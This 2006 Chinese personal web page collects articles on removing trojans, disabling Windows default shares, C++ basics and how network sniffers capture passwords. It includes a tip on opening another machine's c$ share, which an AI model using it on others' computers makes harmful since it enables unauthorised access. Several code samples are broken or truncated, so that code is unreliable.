新竹论坛  新竹视聊  实用网址大全    
网站首页 新竹主站 遺莣﹎本站新闻音乐专区jay周董专区浪漫经典兄弟=唍媄ぺ流氓本站小小心情帖超级搞笑注意不要流口水啊关于站长陕强个人主页张传平个人主页镜象--⑴镜象--⑵      留 言 板
我对佛说:让看我主页的所有朋友永远健康快乐!佛说:只能四天!我说:好,春天、夏天、秋天、冬天.佛说:三天。我说:好,昨天、今天、明天.佛说:不行,两天。我说:好,白天、黑天.佛说:不行,就一天!我说:好!佛茫然问到:哪一天?我说:朋友活着的每一天!!佛哭了……说:以后你所有朋友将愉快每天!!!
  当前位置:网站首页 >> 本站小小心情帖  >> 有用的网络技术--http://yaba.xiazai.com/  双击自动滚屏  
有用的网络技术--http://yaba.xiazai.com/

发表日期:2006年6月18日        已经有851位读者读过此文

技术资料列表:

★手工清除隐藏在电脑里的病毒和木马
★如何关闭默认共享
★木马查杀记
★浅谈C++中的几个关键字:static,const,inline
★C++对C的十大扩展
★关于C/C++中的指针
★浅谈C/C++中的内存泄露
★关于C++语言中的递归问题
★Sniffer含义及工作原理
★一份详尽的IPC$入侵资料
★管理本机端口 防范木马程序
★揭秘:QQ网络聊天五大陷阱
★使用组策略保障本机安全
★QQ消息“炸弹”原理及防御方法
★Win2000/XP与Win98互访
★解析进程不能访问网络资源
★利用IP地址欺骗突破防火墙
★用端口截听实现隐藏嗅探与攻击

 

手工清除隐藏在电脑里的病毒和木马

作者:会说话的哑巴 QQ:13946698

现在上网的朋友越来越多了,其中有一点不可避免的就是如何防范和查杀病毒和恶意攻击程序了。但是,如果不小心中了病毒而身边又没有杀毒软件怎么办?没有关系,今天我就来教大家怎样轻松地手工清除藏在电脑里的病毒和木马。

检查注册表

注册表一直都是很多木马和病毒“青睐”的寄生场所,注意在检查注册表之前要先给注册表备份。

1.检查注册表中HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runserveice,查看键值中有没有自己不熟悉的自动启动文件,扩展名一般为EXE,然后记住木马程序的文件名,再在整个注册表中搜索,凡是看到了一样的文件名的键值就要删除,接着到电脑中找到木马文件的藏身地将其彻底删除?比如“爱虫”病毒会修改上面所提的第一项,BO2000木马会修改上面所提的第二项)。

2. 检查注册表HKEY_LOCAL_MACHINE和HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main中的几项(如Local Page),如果发现键值被修改了,只要根据你的判断改回去就行了。恶意代码(如“万花谷”)就经常修改这几项。

3. 检查HKEY_CLASSES_ROOT\inifile \shell\open\command和HKEY_CLASSES_ROOT \txtfile\shell\open\command等等几个常用文件类型的默认打开程序是否被更改。这个一定要改回来,很多病毒就是通过修改.txt、.ini等的默认打开程序而清除不了的。例如“罗密欧与朱丽叶”?BleBla病毒就修改了很多文件(包括.jpg、.rar、.mp3等)的默认打开程序。

检查你的系统配置文件

其实检查系统配置文件最好的方法是打开Windows“系统配置实用程序”(从开始菜单运行msconfig.exe),在里面你可以配置Config.sys、Autoexec.bat、system.ini和win.ini,并且可以选择启动系统的时间。

1. 检查win.ini文件(在C?\windows\下),打开后,在?WINDOWS?下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。在一般情况下,在它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。比如攻击QQ的“GOP木马”就会在这里留下痕迹。

2.检查system.ini文件(在C:\windows\下),在BOOT下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是“explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,然后你就要在硬盘找到这个程序并将其删除了。这类的病毒很多,比如“尼姆达”病毒就会把该项修改为“shell=explorer.exe load.exe -dontrunold”。

返回顶部

如何关闭默认共享

作者:会说话的哑巴 QQ:13946698

在Windows 2000系统中,当你用右键单击盘符选择共享你会发现,你的硬盘在未经你同意的情况下已经被共享了,而且有了一个好听的名字 “默认共享”,而且更可怕的是当你用别人机器通过网上邻居访问你的机器时,你会 惊奇的发现其实根本什么也没有(只有打印机和计划任务),“我”什么也没共享。

可是真的是这样吗?不是的,其实你的所有分区都已经被“偷偷的”被WINDOWS 2000共享给了别人而你还不知道,不信你试试:

  
在IE的地址栏里输入\\******\c$(******代表你要进入的机器名,c$是你要查看的硬盘分区,当然也可以是d$,e$,……),此时会弹出窗口让你输入用户名、密码(太好写了,有一部分朋友的机器,是没有密码的,而且管理员(Administrator)权限还在)。输入后选确定。惊讶吧,你全部的文件全在眼前(太可怕了)

  
到此有的朋友会说:在属性里选择不共享不就可以了吗?可是事实是这样吗?当系统每次重起后它又会自动变成 “默认共享”了。

  
如果真的如上面所说,那就真的没有办法了吗?当然不是, 只要你打开注册表编辑器,运行中输入“Regedit 在“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanworkstation\parameters”

下新建一个 名为“AutoShare-Wks”的双字节值,并将其值设置为0,就可以了和 “默认共享”说再见了:

还有一种办法就是利用批处理,过程如下:

批处理文件如下:

@echo off

net share C$ /del

net share D$ /del

net share ipc$ /del

net share admin$ /del

net share e$ /del

net share f$ /del

再添进组策略的用户配置》windosw配置》脚本-(登陆/注销)》登陆 就可以了

菜鸟文章一篇,高手不要见笑啊! ^O^

返回顶部

木马查杀记

作者:会说话的哑巴 QQ:13946698

写这个文章的目的,是让大家知道,遇到木马后应该怎么办

有一次,我的一个同学给我了个木马(exelinks.exe),让我来试试,呵呵。收到后,运行,没有任何反应(废话!!)

然后,我查看进程,先把exelinks进程杀掉,然后运行regedit

发现在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下面多了一个网络服务 启动程序名字为 svchoost.exe,这个当然是他了,删除,呵呵

这个时候,我重起系统,运行regedt,发现run里又有了他,杀进程,删除文件

既然又有,说明还有启动的来源,来源是什么?对了,我不是运行了regedt吗?这个可是exe文件啊。

查看.exe内容,写的exefile,没问题

查看exefile内容,shell\open\command里的内容为 winnt/system32/exelinks.exe %1 %*,呵呵,果然关联了修改回来,%1 %*

另外根据我那同学提示,这个程序原始名字是windowssend.exe 我在winnt/system32/start 目录找到了它

估计是想做个自动启动吧,呵呵,这个文件也删除掉

重起系统,看进程,看注册表,一切正常了,这样,木马就杀完了

返回顶部

浅谈C++中的几个关键字:static,const,inline

作者:会说话的哑巴 QQ:13946698

static 是C++中很常用的修饰符,它被用来控制变量的存储方式和可见性,下面我将从 static 修饰符的产生原因、作用谈起,全面分析static 修饰符的实质。
static 的两大作用:
一、控制存储方式:
  static被引入以告知编译器,将变量存储在程序的静态存储区而非栈上空间。
  1、引出原因:函数内部定义的变量,在程序执行到它的定义处时,编译器为它在栈上分配空间,大家知道,函数在栈上分配的空间在此函数执行结束时会释放掉,这样就产生了一个问题: 如果想将函数中此变量的值保存至下一次调用时,如何实现?
最容易想到的方法是定义一个全局的变量,但定义为一个全局变量有许多缺点,最明显的缺点是破坏了此变量的访问范围(使得在此函数中定义的变量,不仅仅受此函数控制)。
  2、 解决方案:因此C++ 中引入了static,用它来修饰变量,它能够指示编译器将此变量在程序的静态存储区分配空间保存,这样即实现了目的,又使得此变量的存取范围不变。
二、控制可见性与连接类型 :
  static还有一个作用,它会把变量的可见范围限制在编译单元中,使它成为一个内部连接,这时,它的反义词为”extern”.
  Static作用分析总结:static总是使得变量或对象的存储形式变成静态存储,连接方式变成内部连接,对于局部变量(已经是内部连接了),它仅改变其存储方式;对于全局变量(已经是静态存储了),它仅改变其连接类型。

类中的static成员:
一、出现原因及作用:
  1、需要在一个类的各个对象间交互,即需要一个数据对象为整个类而非某个对象服务。
  2、同时又力求不破坏类的封装性,即要求此成员隐藏在类的内部,对外不可见。
  类的static成员满足了上述的要求,因为它具有如下特征:有独立的存储区,属于整个类。
二、注意:
  1、对于静态的数据成员,连接器会保证它拥有一个单一的外部定义。静态数据成员按定义出现的先后顺序依次初始化,注意静态成员嵌套时,要保证所嵌套的成员已经初始化了。消除时的顺序是初始化的反顺序。
  2、类的静态成员函数是属于整个类而非类的对象,所以它没有this指针,这就导致了它仅能访问类的静态数据和静态成员函数。

const 是C++中常用的类型修饰符,但我在工作中发现,许多人使用它仅仅是想当然尔,这样,有时也会用对,但在某些微妙的场合,可就没那么幸运了,究其实质原由,大多因为没有搞清本源。这里我将对const进行辨析。溯其本源,究其实质,希望能对大家理解const有所帮助,根据思维的承接关系,分为如下几个部分进行阐述。

C++中为什么会引入const

  C++的提出者当初是基于什么样的目的引入(或者说保留)const关键字呢?,这是一个有趣又有益的话题,对理解const很有帮助。

1. 大家知道,C++有一个类型严格的编译系统,这使得C++程序的错误在编译阶段即可发现许多,从而使得出错率大为减少,因此,也成为了C++与C相比,有着突出优点的一个方面。
2. C中很常见的预处理指令 #define VariableName VariableValue 可以很方便地进行值替代,这种值替代至少在三个方面优点突出:
  一是避免了意义模糊的数字出现,使得程序语义流畅清晰,如下例:
  #define USER_NUM_MAX 107 这样就避免了直接使用107带来的困惑。
  二是可以很方便地进行参数的调整与修改,如上例,当人数由107变为201时,进改动此处即可,
  三是提高了程序的执行效率,由于使用了预编译器进行值替代,并不需要为这些常量分配存储空间,所以执行的效率较高。

  鉴于以上的优点,这种预定义指令的使用在程序中随处可见。

3. 说到这里,大家可能会迷惑上述的1点、2点与const有什么关系呢?,好,请接着向下看来:

  预处理语句虽然有以上的许多优点,但它有个比较致命的缺点,即,预处理语句仅仅只是简单值替代,缺乏类型的检测机制。这样预处理语句就不能享受C++严格类
型检查的好处,从而可能成为引发一系列错误的隐患。

4.好了,第一阶段结论出来了:
结论: Const 推出的初始目的,正是为了取代预编译指令,消除它的缺点,同时继承它的优点。

现在它的形式变成了:

Const DataType VariableName = VariableValue ;
为什么const能很好地取代预定义语句?
const 到底有什么大神通,使它可以振臂一挥取代预定义语句呢?

1. 首先,以const 修饰的常量值,具有不可变性,这是它能取代预定义语句的基础。
2. 第二,很明显,它也同样可以避免意义模糊的数字出现,同样可以很方便地进行参数的调整和修改。
3. 第三,C++的编译器通常不为普通const常量分配存储空间,而是将它们保存在符号表中,这使得它成为一个编译期间的常量,没有了存储与读内存的操作,使得它的
效率也很高,同时,这也是它取代预定义语句的重要基础。这里,我要提一下,为什么说这一点是也是它能取代预定义语句的基础,这是因为,编译器不会去读存储的内容,如果编译器为const分配了存储空间,它就不能够成为一个编译期间的常量了。
4. 最后,const定义也像一个普通的变量定义一样,它会由编译器对它进行类型的检测,消除了预定义语句的隐患。

const 使用情况分类详析

1.const 用于指针的两种情况分析:
 int const *A;  file://A可变,*A不可变
 int *const A;  file://A不可变,*A可变
  分析:const 是一个左结合的类型修饰符,它与其左侧的类型修饰符和为一个类型修饰符,所以,int const 限定 *A,不限定A。int *const 限定A,不限定*A。
2.const 限定函数的传递值参数:

 void Fun(const int Var);

  分析:上述写法限定参数在函数体中不可被改变。由值传递的特点可知,Var在函数体中的改变不会影响到函数外部。所以,此限定与函数的使用者无关,仅与函数的编写者有关。
结论:最好在函数的内部进行限定,对外部调用者屏蔽,以免引起困惑。如可改写如下:

void Fun(int Var)
{
const int & VarAlias = Var;
VarAlias ....
.....
}

3.const 限定函数的值型返回值:

const int Fun1();
const MyClass Fun2();

 分析:上述写法限定函数的返回值不可被更新,当函数返回内部的类型时(如Fun1),已经是一个数值,当然不可被赋值更新,所以,此时const无意义,最好去掉,以免困惑。当函数返回自定义的类型时(如Fun2),这个类型仍然包含可以被赋值的变量成员,所以,此时有意义。

4. 传递与返回地址: 此种情况最为常见,由地址变量的特点可知,适当使用const,意义昭然。

5. const 限定类的成员函数:

class ClassName {

 public:

  int Fun() const;

 .....

}

  注意:采用此种const 后置的形式是一种规定,亦为了不引起混淆。在此函数的声明中和定义中均要使用const,因为const已经成为类型信息的一部分。
获得能力:可以操作常量对象。
失去能力:不能修改类的数据成员,不能在函数中调用其他不是const的函数。

  
在上面谈了const后,下面再来谈一下inline这个关键字,之所以把inline放在这个位置,是因为inline这个关键字的引入原因和const十分相似,下面分为如下几个部分进行阐述。

C++中引入inline关键字的原因:

  inline 关键字用来定义一个类的内联函数,引入它的主要原因是用它替代C中表达式形式的宏定义。

表达式形式的宏定义一例:

   #define ExpressionName(Var1,Var2) (Var1+Var2)*(Var1-Var2)

为什么要取代这种形式呢,且听我道来:

  1. 首先谈一下在C中使用这种形式宏定义的原因,C语言是一个效率很高的语言,这种宏定义在形式及使用上像一个函数,但它使用预处理器实现,没有了参数压栈,代码生成等一系列的操作,因此,效率很高,这是它在C中被使用的一个主要原因。
  2. 这种宏定义在形式上类似于一个函数,但在使用它时,仅仅只是做预处理器符号表中的简单替换,因此它不能进行参数有效性的检测,也就不能享受C++编译器严格类型检查的好处,另外它的返回值也不能被强制转换为可转换的合适的类型,这样,它的使用就存在着一系列的隐患和局限性。
 3. 在C++中引入了类及类的访问控制,这样,如果一个操作或者说一个表达式涉及到类的保护成员或私有成员,你就不可能使用这种宏定义来实现(因为无法将this指针放在合适的位置)。
  4. inline 推出的目的,也正是为了取代这种表达式形式的宏定义,它消除了它的缺点,同时又很好地继承了它的优点。
为什么inline能很好地取代表达式形式的预定义呢?

对应于上面的1-3点,阐述如下:

  1. inline 定义的类的内联函数,函数的代码被放入符号表中,在使用时直接进行替换,(像宏一样展开),没有了调用的开销,效率也很高。
  2. 很明显,类的内联函数也是一个真正的函数,编译器在调用一个内联函数时,会首先检查它的参数的类型,保证调用正确。然后进行一系列的相关检查,就像对待任何一个真正的函数一样。这样就消除了它的隐患和局限性。
  3. inline 可以作为某个类的成员函数,当然就可以在其中使用所在类的保护成员及私有成员。
在何时使用inline函数:
  首先,你可以使用inline函数完全取代表达式形式的宏定义。

  另外要注意,内联函数一般只会用在函数内容非常简单的时候,这是因为,内联函数的代码会在任何调用它的地方展开,如果函数太复杂,代码膨胀带来的恶果很可能会大于效率的提高带来的益处。 内联函数最重要的使用地方是用于类的存取函数。

如何使用类的inline函数:

简单提一下inline 的使用吧:

1.在类中定义这种函数:

class ClassName{
.....
....
GetWidth(){return m_lPicWidth;}; // 如果在类中直接定义,可以不使用inline修饰
....
....
}

2.在类中声明,在类外定义:

class ClassName{
.....
....
GetWidth(); // 如果在类中直接定义,可以不使用inline修饰
....
....
}
inline GetWidth()
{
return m_lPicWidth;
}

返回顶部

C++对C的十大扩展

作者:会说话的哑巴 QQ:13946698

在我们学习一门语言时,要先对它的来源和框架有个基本的了解!这会正好有空,先大致归纳下C++对C的扩展吧!凑巧刚好是十条,就叫做C++对C的十大扩展吧!

1、 文件名,变量的声明
头文件:.h
源文件:.cpp
不同的集成环境还有不同类型的文件。
变量的声明不是必须放在函数的最前面,而是随意的位置,只要满足先声明,后使用的原则即可。

2 输入/输出
C++为了方便使用,除了可以利用printf和scanf函数进行输出和输入外,还增加了标准输入输出流cout和cin。在头文件iostream.h中定义。标准流是不需要打开和关闭文件即可直接操作的流式文件。
#include <iostream.h>
void main( )
{
cout<<”please enter your name and age:”<<endl;
char name[10];
int age;
cin>>name;
cin>>age;
cout<<”your name is ”<<name<<endl;
cout<<”your age is ”<<age<<endl;
}

3、 内联函数
C++提供了内联函数(inline function)可以减少函数调用的开销,特别是对于小函数。
函数定义中函数返回类型前面的限定符inline指示编译器将函数代码复制到程序中以避免函数调用。其代码是会产生函数代码的多个副本并分别插入到程序中每一个调用该函数的位置上(从而使程序更大),而不是只有一个函数副本(每次调用函数时将控制传入函数中)。

编程技巧
inline限定符只用于经常使用的小函数。
性能提示
使用内联函数可以减少执行时间,但会增加程序长度

4、函数的重载
用C语言编程时,我们对同一类操作,因为参数类型不一样,需要定义不同的函数,采用不同的函数名。
如:
int max1(int a,int b,int c); /*求3个整数中的最大者*/
float max2(float a, float b, float c);/*求3个实数中的最大者*/
long max3(long a, long b, long c);/*求3个长整数中的最大者*/
C语言规定在同一作用域(如同一个文件模块)中不能有同名的函数,因此3个函数的名字不相同。

C++允许在同一作用域中用同一函数名定义多个函数,这些函数的参数个数和参数类型不同。这就是函数的重载。

#include <iostream.h>
int max(int a,int b,int c)
{ if (b>a) a=b;
if (c>a) a=c;
return a;
}
float max(float a,float b,float c)
{ if (b>a) a=b;
if (c>a) a=c;
return a;
}
long max(long a,long b,long c)
{ if (b>a) a=b;
if (c>a) a=c;
return a;
}

void main( )
{int a,b,c; float d,e,f; long g,h,i;
cin>>a>>b>>c;
cin>>d>>e>>f;
cin>>g>>h>>i;
int m; m=max(a,b,c); cout<<”max_i=”<<m<<endl;
float n; n=max(d,e,f); cout<<”max_f=”<<n<<endl;
long p; p=max(g,h,i); cout<<”max_l=”<<p<<endl;
}
运行情况如下:
8 5 -6
56.9 90.765 43.1
67543 0567 78123
max_i= 8
max_f=90.765
max_l= 78123

函数重载时,参数的个数和类型可以都不同。
应当注意:重载函数的参数个数或类型必须至少有一者不同,函数返回值类型可以相同也可以不同。但不允许参数个数和类型都相同而只有返回值类型不同,因为系统无法从函数的调用形式上判断哪一个函数与之匹配。

5、运算符重载
运算符重载提供了C++的可扩展性,但它也只是另一种函数调用的方法而已。运算符重载是通过编写函数定义实现的。
运算符重载使得运算符可以作用于用户定义数据类型。能够使程序更易于阅读。

6、带缺省参数的函数
一般情况下,实参个数应与形参个数相同。C++允许实参个数与形参个数不同。办法是在形参表列中对一个或几个形参指定缺省值(或称默认值)。
如:void fun(int a,int b, int c=100)
调用时:fun(2,4,6)或fun(2,4)
请注意:赋予缺省参数必须放在形参表列中的最右端。

7 、变量的引用类型
引用就是为变量起一个别名,在声明一个变量的应用后,本函数执行期间,该引用一直与其代表的变量相联系,不能再作为其他变量的别名。

#include <iostream.h>
void main()
{ int a=10;
int &b=a;
a=a*a;
cout<<a<<b;
b=b/5;
cout<<b<<a;
}

结果:
100 100
20 20
相当于:
    变量a
    别名b

8、作用域运算符
可以声明同名的局部变量和全局变量。
C++提供一元作用域运算符(::),可以在同名局部变量的作用域中访问全局变量。
注:
一元作用域运算符不能在外层块中访问同名的局部变量。
如果在作用域内没有与全局变量同名的局部变量,则可以直接访问全局变量,而不用一元作用域运算符。
程序中不同用途的变量不要用相同的名称。尽管不同用途的变量也可以用相同的名称,但容易造成混乱。

9、函数模板
重载函数通常用于不同数据类型(或参数个数)的不同程序逻辑进行类似的操作。如果每种数据类型的程序逻辑和操作相同,C++提供了函数模板来实现。
程序员编写一个函数模板定义。根据函数调用中提供的参数类型,C++自动产生不同模板函数来处理不同类型的调用。这样,定义一个函数模板即可定义一系列的解决方案。

#include <iostream.h>
template < class T >
T maximum( T value1, T value2, T value3 )
{ T max = value1;
if ( value2 > max )
max = value2;
if ( value3 > max )
max = value3;
return max;
}

int main()
{ int int1, int2, int3;
cout << "Input three integer values: ";
cin >> int1 >> int2 >> int3;
cout << "The maximum integer value is: "
<< maximum( int1, int2, int3 ); // int version
double double1, double2, double3;
cout << "\nInput three double values: ";
cin >> double1 >> double2 >> double3;
cout << "The maximum double value is: "
<< maximum( double1, double2, double3 ); // double version
char char1, char2, char3;
cout << "\nInput three characters: ";
cin >> char1 >> char2 >> char3;
cout << "The maximum character value is: "
<< maximum( char1, char2, char3 ) // char version
<< endl;
return 0;}

10、动态分配/撤销内存的运算符new和delete
在C语言中,利用库函数malloc和free分配和释放内存空间,
要用先计算开辟内存空间的大小。
malloc函数只能从用户处知道应开辟空间的大小而不知道数据类型,因此无法使其返回的指针指向具体的数据。其返回值一律为void *类型。
必须在程序中进行强制类型转换,才能使其返回的指针指向具体的数据。
C++提供了new和delete取代malloc和free。
new int; //开辟一个存放整数的空间,返回一个指向整型数据的指针。
float *p=new float(3.14159); //开辟一个存放实数的空间,并指定该实数的初值为3.14159,将返回的指向实型数据的指针赋给指针变量p。

返回顶部

关于C/C++中的指针

作者:会说话的哑巴 QQ:13946698

一提到指针,很多C/C++程序员都头痛,本人也不例外,现把最近关于指针的一部分学习心得拿出来,大家共同讨论!

指针的优点: 1。为函数提供修改调用变元的手段 。 2。支持C++动态分配子程序 。 3。可以改善某些子程序的效率 。 4。为动态数据结构(如二叉树、链表)提供支持。

一、定义:

为存放内存地址的变量。

诠释:
指针为一数据类型也有自己的地址。占用四个字节的存储空间 。 int * p: &p返回的是指针p的地址,而不是所指变量的地址 。

地址:一般指内存中另一变量的位置 。

 

二、指针变量:

type * name 声明时必须确保它的类型与要指向的对象类型兼容 。 const 是“最靠近”为原则 。

指向整数常量的指针:const int * p;它所指向的值只读不能被修改 *p = 4(错误),p = 5(正确) 。

指向一个整数的常量指针:int * const p;不允许修改指针变量的值,*p = 5 (正确),p = 5 (错误) 。

 

三、指针操作符:

&(取址运算符):一元操作符,只作用于一个操作数,返回操作数的地址 。

*(提领操作):一元操作符,是&的补操作,返回其操作数所指变量的值 。

 

四、指针赋值及转换:

同类型直接赋值,异类型要进行转换。

强制转换:可以把表达式结果硬性转换为指定类型 。

char * p;(int *)p 把p强制转换为int型,记住转换过程中要注意两个类型的大小,大转小时可能会有数据丢失(如int到double)

涉及void *的: c 中void *类型可赋值给任何类型的指针,反之亦然 。

c++ 中都需要强制转换 。

void * 可似为无穷大能接纳任何类型赋值,反之不行int * p =9;void * t= p(正确);p=t(错误) 。 不涉及void *的都要强制转换 。


五、指针的算术操作

和整数的加法,减法,自身的增量、减量 。

指针增量后指向下一个与指针基类同型的元素,增减单位是所指类型的长度。


 六、其他说明:

1。指针和数组: 不带下标的数组名返回数组的起始地址,即数组首元素的地址,所以对数组的访问可有两种方式:数组下标和指针算术。

2。函数指针: 函数具有可赋给指针的物理内存地址,一个函数地址也为该函数的进入点,也是调用函数的地址 。

3。多级指针地址 **p


七、动态内存分配

定义:是程序在运行中取得内存的方法。是从堆(heap)--系统的自由内存区-取得内存 。

运算符: new(c中的malloc):自动建立一个具有合适大小的对象,返回具有正确类型的指针,如分配不成功,返回一个空指针0,且可自动调用构造函数。

char * p = new char(’t’); delete(c中的free):delect p; 释放数组对象时要使用方括号delete [] p;


八、与引用的区别

&引用运算符:

1。引用只是变量的别名,而不是指向变量的指针(区别于取址运算符"&")不占内存空间,对变量引用的改变其相应的变量也会改变。

2。不能对引用使用指针间接运算符“*”进行复引用操作。

3。引用必须在声明时初始化 int &c = count;(c是count的别名)


九、注意: 在每次使用指针前,都应该初始化。以防止指针指向空对象。

返回顶部

浅谈C/C++中的内存泄露

作者:会说话的哑巴 QQ:13946698

在C/C++中,内存泄露就是你在程序中用new或是malloc(或是自定义函数)分配了一块内存,但在程序结束时却没有通过调用delete或是free(或是自定义函数)把它释放。这样的话,这片内存就不能被其它程序使用了,如果反复运行有内存泄露的程序,将导致可用内存越来越少。

请看下面这样的程序:
---------
void getM(char** p,int num)
{
*p = (char*)malloc(num);
}

void Test(void)
{
char* str = NULL;
getM(&str,100);
strcpy(str,"hello");
printf(str,%s);
}

int main(int argc, char* argv[])
{
Test();
return 0;
}
----------
那些对内存泄露有了解的朋友,就知道错在哪里了。
这里Test应改为
void Test(void)
{
char* str = NULL;
getM(&str,100);
strcpy(str,"hello");
printf(str,%s);
free( str ); //// 加这一句
}
>>>>要记住:指针消亡了,并不表示它所指的内存会被自动释放。malloc和free、new和delete是成对出现的!<<<<
另外,如果p是NULL指针,那么free对p无论操作多少次都不会出问题。如果p不是NULL指针,那么free对p连续操作两次就会导致程序运行错误。


另外,又想起来一点,这是大家平时很容易犯的一个毛病。
请看下面的程序:
----------
void getM(char* p,int num)
{
p = (char*)malloc(num);
}

void Test(void)
{
char* str = NULL;
getM(str,100);
strcpy(str,"hello");
printf(str,%s);
free( str );
}

int main(int argc, char* argv[])
{
Test();
return 0;
}
----------
在这个程序中,str并不会被改变,因为p位于栈上,(要注意栈和堆的区别。)是一个临时量,它在函数中被修改,但出了函数,str还是它以前的值,即NULL,所以后面的程序也就不对了。实际上造成分配了一堆“游离”的内存,没法访问到它们,也没法释放。
正确的做法,是把getM函数里的p改为指针的指针,就是刚开始写的那样。有人说,指针的指针很难理解的,其实它不难,指针你明白吧?是变量的地址。而指针的指针呢,就是存放指针变量的地址,它就象是一个链式结构:指针的指针->指针->一般变量。其实,在C++中,我们可以通过引用来完成,而不需要指针的指针,看下面:
void getM(char*& p,int num)
{
p = (char*)malloc(num);
}

void Test(void)
{
char* str = NULL;
getM(str,100);
strcpy(str,"hello");
printf(str,%s);
free( str );

}
上边C++程序中,p被定义为指针的引用,我们操纵p时,其实还是操纵它的地址,这样在函数调用结束后,str的值还是改变了。

返回顶部

关于C++语言中的递归问题

作者:会说话的哑巴 QQ:13946698

本人最近在重新学习C++,其中又复习了很多C的基础知识,现把刚看到关于递归的问题写出来,供大家学习!通过调用自身来解决问题的过程称为递归,递归是解决某些复杂问题的十分有效的方法,下面通过例子来说!我写了递归的两个精彩应用,现把它们放在了一个C++程序中,是关于计算某个fibonacci数列和二进制转换为十进制的~~

程序如下,比较简单,大家看下!

#include

#include

using namespace std;

int fib(int a,int b,int n);

void bintodec(int binumber,int & decnum,int & weight);

void main()

{

int a,b,n;

char ch;

int binarynumber;

int decnum=0;

int weight=0;

cout<<"enter first fib number:";

cin>>a;

cout<

cout<<"enter second fib number:";

cin>>b;

cout<

cout<<"enter n:";

cin>>n;

cout<

cout<<"fib number at "<

cin.get(ch);

cout<<"enter binary number:"<

cin>>binarynumber;

bintodec(binarynumber,decnum,weight);

cout<<"decnumber is:"<

}

int fib(int a,int b,int n)

{

if(n==1)

return a;

else if(n==2)

return b;

else

return fib(a,b,n-1)+fib(a,b,n-2);

}

void bintodec(int binumber,int &decnum,int &weight)

{

int bit;

if(binumber>0)

{

bit=binumber%10;

decnum=decnum+bit*static_cast(pow(2,weight));

binumber=binumber/10;

weight++;

bintodec(binumber,decnum,weight);

}

}


在fibonacci数列中,第3个fib数字是前两个fib数字的和,第4个fib数字是第2个和第3个数字的和,下面依次类推。上边计算第n个fib数字的递归函数中,有3个参数,a表示第1个fib数字,b表示第2个fib数字,n表示第n个fib数字。 

而二进制换为十进制的递归函数中,decnum和weight都要是引用参数,(从而调用函数后,改边实参的值。)相应的实参要初始化为0。取出最右边的一位数字后,函数更新十进制数和二进制数的下一位权值...  

可以看出,递归调用可以简单明了的解决问题,程序清晰而且易于构造。不过,递归调用也有它不好的一面,它需要系统为它的形参和局部变量分配存储空间,只要当函数执行结束时才释放空间,它存在一定的执行开销。

返回顶部

Sniffer含义及工作原理

http://www.51cto.com 2005-12-05 11:21 出处:ChinaITLab


一.有关sniffer及sniffer的含义

sniffers(嗅探器)几乎和internet有一样久的历史了.Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。随着Internet及电子商务的日益普及,Internet的安全也越来越受到重视。在Internet安全隐患中扮演重要角色之一的Sniffer以受到越来越大的关注,所以今天我要向大家介绍一下介绍Sniffer以及如何阻止sniffer。

大多数的黑客仅仅为了探测内部网上的主机并取得控制权,只有那些"雄心勃勃"的黑客,为了控制整个网络才会安装特洛伊木马和后门程序,并清除记录。他们经常使用的手法是安装sniffer。

在内部网上,黑客要想迅速获得大量的账号(包括用户名和密码),最为有效的手段是使用 "sniffer" 程序。这种方法要求运行Sniffer 程序的主机和被监听的主机必须在同一个以太网段上,故而在外部主机上运行sniffer是没有效果的。再者,必须以root的身份使用sniffer 程序,才能够监听到以太网段上的数据流。谈到以太网sniffer,就必须谈到以太网sniffing。

那么什么是以太网sniffer呢?

以太网sniffing是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。

它的目的是将网络层放到promiscuous模式,从而能干些事情。

Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。

利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。

sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。

sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。黑客会使用各种方法,获得系统的控制权并留下再次侵入的后门,以保证sniffer能够执行。在Solaris 2.x平台上,sniffer 程序通常被安装在/usr/bin 或/dev目录下。黑客还会巧妙的修改时间,使得sniffer程序看上去是和其它系统程序同时安装的。

大多数以太网sniffer程序在后台运行,将结果输出到某个记录文件中。黑客常常会修改ps程序,使得系统管理员很难发现运行的sniffer程序。

以太网sniffer程序将系统的网络接口设定为混合模式。这样,它就可以监听到所有流经同一以太网网段的数据包,不管它的接受者或发送者是不是运行sniffer的主机。 程序将用户名、密码和其它黑客感兴趣的数据存入log文件。黑客会等待一段时间 ----- 比如一周后,再回到这里下载记录文件。

讲了这么多,那么到底我们可以用什么通俗的话来介绍sniffer呢?

计算机网络与电话电路不同,计算机网络是共享通讯通道的。共享意味着计算机能够接收到发送给其它计算机的信息。捕获在网络中传输的数据信息就称为sniffing(窃听)。

以太网是现在应用最广泛的计算机连网方式。以太网协议是在同一回路向所有主机发送数据包信息。数据包头包含有目标主机的正确地址。一般情况下只有具有该地址的主机会接受这个数据包。如果一台主机能够接收所有数据包,而不理会数据包头内容,这种方式通常称为"混杂" 模式。

由于在一个普通的网络环境中,帐号和口令信息以明文方式在以太网中传输, 一旦入侵者获得其中一台主机的root权限,并将其置于混杂模式以窃听网络数据,从而有可能入侵网络中的所有计算机。

一句话,sniffer就是一个用来窃听的黑客手段和工具。

二、sniffer的工作原理

